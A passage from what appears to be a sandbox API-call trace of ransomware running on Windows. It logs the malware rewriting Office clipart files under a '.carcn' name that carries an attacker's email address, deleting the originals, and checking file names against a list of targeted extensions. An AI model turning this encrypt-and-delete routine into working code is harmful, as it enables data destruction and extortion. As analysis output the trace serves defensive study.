(hFile=0x35c) returned 1 [0302.292] CloseHandle (hObject=0x35c) returned 1 [0302.292] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.292] SetEndOfFile (hFile=0x37c) returned 1 [0302.292] CloseHandle (hObject=0x37c) returned 1 [0302.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.293] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 1 [0302.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0302.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0302.293] lstrlenW (lpString=".doc") returned 4 [0302.293] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.293] lstrlenW (lpString=".docx") returned 5 [0302.293] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.293] lstrlenW (lpString=".pdf") returned 4 [0302.293] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.293] lstrlenW (lpString=".xls") returned 4 [0302.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.293] lstrlenW (lpString=".xlsx") returned 5 [0302.293] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.293] lstrlenW (lpString=".ppt") returned 4 [0302.293] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0302.293] lstrlenW (lpString=".zip") returned 4 [0302.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.293] lstrlenW (lpString=".rar") returned 4 [0302.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.293] lstrlenW (lpString=".bz2") returned 4 [0302.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.294] lstrlenW (lpString=".7z") returned 3 [0302.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0302.294] lstrlenW (lpString=".dbf") returned 4 [0302.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0302.294] lstrlenW (lpString=".1cd") returned 4 [0302.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0302.294] lstrlenW (lpString=".jpg") returned 4 [0302.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.294] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.294] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0302.295] GetLastError () returned 0x0 [0302.295] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1378, lpOverlapped=0x0) returned 1 [0302.295] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1380, lpOverlapped=0x0) returned 1 [0302.296] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.296] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0302.296] SetEndOfFile (hFile=0x35c) returned 1 [0302.296] CloseHandle (hObject=0x35c) returned 1 [0302.296] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.297] SetEndOfFile (hFile=0x37c) returned 1 [0302.297] CloseHandle (hObject=0x37c) returned 1 [0302.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.298] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 1 [0302.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0302.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0302.298] lstrlenW (lpString=".doc") returned 4 [0302.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.298] lstrlenW (lpString=".docx") returned 5 [0302.298] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.298] lstrlenW (lpString=".pdf") returned 4 [0302.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.298] lstrlenW (lpString=".xls") returned 4 [0302.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.298] lstrlenW (lpString=".xlsx") returned 5 [0302.298] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.298] lstrlenW (lpString=".ppt") returned 4 [0302.298] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0302.299] lstrlenW (lpString=".zip") returned 4 [0302.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.299] lstrlenW (lpString=".rar") returned 4 [0302.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.299] lstrlenW (lpString=".bz2") returned 4 [0302.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.299] lstrlenW (lpString=".7z") returned 3 [0302.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0302.299] lstrlenW (lpString=".dbf") returned 4 [0302.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0302.299] lstrlenW (lpString=".1cd") returned 4 [0302.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0302.299] lstrlenW (lpString=".jpg") returned 4 [0302.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.299] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.299] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0302.300] GetLastError () returned 0x0 [0302.300] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xf7c, lpOverlapped=0x0) returned 1 [0302.301] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xf80, lpOverlapped=0x0) returned 1 [0302.302] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.302] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0302.302] SetEndOfFile (hFile=0x35c) returned 1 [0302.302] CloseHandle (hObject=0x35c) returned 1 [0302.302] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.302] SetEndOfFile (hFile=0x37c) returned 1 [0302.303] CloseHandle (hObject=0x37c) returned 1 [0302.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.303] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 1 [0302.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0302.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0302.303] lstrlenW (lpString=".doc") returned 4 [0302.303] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.303] lstrlenW (lpString=".docx") returned 5 [0302.303] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.304] lstrlenW (lpString=".pdf") returned 4 [0302.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.304] lstrlenW (lpString=".xls") returned 4 [0302.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.304] lstrlenW (lpString=".xlsx") returned 5 [0302.304] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.304] lstrlenW (lpString=".ppt") returned 4 [0302.304] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0302.304] lstrlenW (lpString=".zip") returned 4 [0302.304] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.304] lstrlenW (lpString=".rar") returned 4 [0302.304] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.304] lstrlenW (lpString=".bz2") returned 4 [0302.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.304] lstrlenW (lpString=".7z") returned 3 [0302.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0302.304] lstrlenW (lpString=".dbf") returned 4 [0302.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0302.304] lstrlenW (lpString=".1cd") returned 4 [0302.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0302.304] lstrlenW (lpString=".jpg") returned 4 [0302.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.304] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.304] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0302.305] GetLastError () returned 0x0 [0302.305] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x488, lpOverlapped=0x0) returned 1 [0302.306] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x490, lpOverlapped=0x0) returned 1 [0302.306] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.306] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0302.307] SetEndOfFile (hFile=0x35c) returned 1 [0302.307] CloseHandle (hObject=0x35c) returned 1 [0302.307] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.307] SetEndOfFile (hFile=0x37c) returned 1 [0302.308] CloseHandle (hObject=0x37c) returned 1 [0302.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.308] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 1 [0302.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0302.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0302.308] lstrlenW (lpString=".doc") returned 4 [0302.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.308] lstrlenW (lpString=".docx") returned 5 [0302.308] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.308] lstrlenW (lpString=".pdf") returned 4 [0302.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.308] lstrlenW (lpString=".xls") returned 4 [0302.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.308] lstrlenW (lpString=".xlsx") returned 5 [0302.308] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.308] lstrlenW (lpString=".ppt") returned 4 [0302.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0302.309] lstrlenW (lpString=".zip") returned 4 [0302.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.309] lstrlenW (lpString=".rar") returned 4 [0302.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.309] lstrlenW (lpString=".bz2") returned 4 [0302.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.309] lstrlenW (lpString=".7z") returned 3 [0302.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0302.309] lstrlenW (lpString=".dbf") returned 4 [0302.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0302.309] lstrlenW (lpString=".1cd") returned 4 [0302.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0302.309] lstrlenW (lpString=".jpg") returned 4 [0302.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.309] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.309] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0302.310] GetLastError () returned 0x0 [0302.310] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x91c, lpOverlapped=0x0) returned 1 [0302.310] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x920, lpOverlapped=0x0) returned 1 [0302.311] ReadFile (in: hFile=0x37c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.311] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0302.311] SetEndOfFile (hFile=0x35c) returned 1 [0302.311] CloseHandle (hObject=0x35c) returned 1 [0302.312] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.312] SetEndOfFile (hFile=0x37c) returned 1 [0302.312] CloseHandle (hObject=0x37c) returned 1 [0302.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 1 [0302.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0302.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0302.657] lstrlenW (lpString=".doc") returned 4 [0302.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.657] lstrlenW (lpString=".docx") returned 5 [0302.657] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.657] lstrlenW (lpString=".pdf") returned 4 [0302.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.658] lstrlenW (lpString=".xls") returned 4 [0302.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.658] lstrlenW (lpString=".xlsx") returned 5 [0302.658] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.658] lstrlenW (lpString=".ppt") returned 4 [0302.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0302.658] lstrlenW (lpString=".zip") returned 4 [0302.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.658] lstrlenW (lpString=".rar") returned 4 [0302.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.658] lstrlenW (lpString=".bz2") returned 4 [0302.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.658] lstrlenW (lpString=".7z") returned 3 [0302.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0302.658] lstrlenW (lpString=".dbf") returned 4 [0302.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0302.658] lstrlenW (lpString=".1cd") returned 4 [0302.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0302.658] lstrlenW (lpString=".jpg") returned 4 [0302.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.658] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.658] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0302.659] GetLastError () returned 0x0 [0302.659] ReadFile (in: hFile=0x358, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xe4e, lpOverlapped=0x0) returned 1 [0302.660] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xe50, lpOverlapped=0x0) returned 1 [0302.660] ReadFile (in: hFile=0x358, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.660] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0302.660] SetEndOfFile (hFile=0x370) returned 1 [0302.661] CloseHandle (hObject=0x370) returned 1 [0302.661] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.661] SetEndOfFile (hFile=0x358) returned 1 [0302.661] CloseHandle (hObject=0x358) returned 1 [0302.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 1 [0302.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0302.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0302.662] lstrlenW (lpString=".doc") returned 4 [0302.662] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.662] lstrlenW (lpString=".docx") returned 5 [0302.662] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.662] lstrlenW (lpString=".pdf") returned 4 [0302.662] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.662] lstrlenW (lpString=".xls") returned 4 [0302.662] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.662] lstrlenW (lpString=".xlsx") returned 5 [0302.662] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.662] lstrlenW (lpString=".ppt") returned 4 [0302.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0302.663] lstrlenW (lpString=".zip") returned 4 [0302.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.663] lstrlenW (lpString=".rar") returned 4 [0302.663] lstrcmpiW 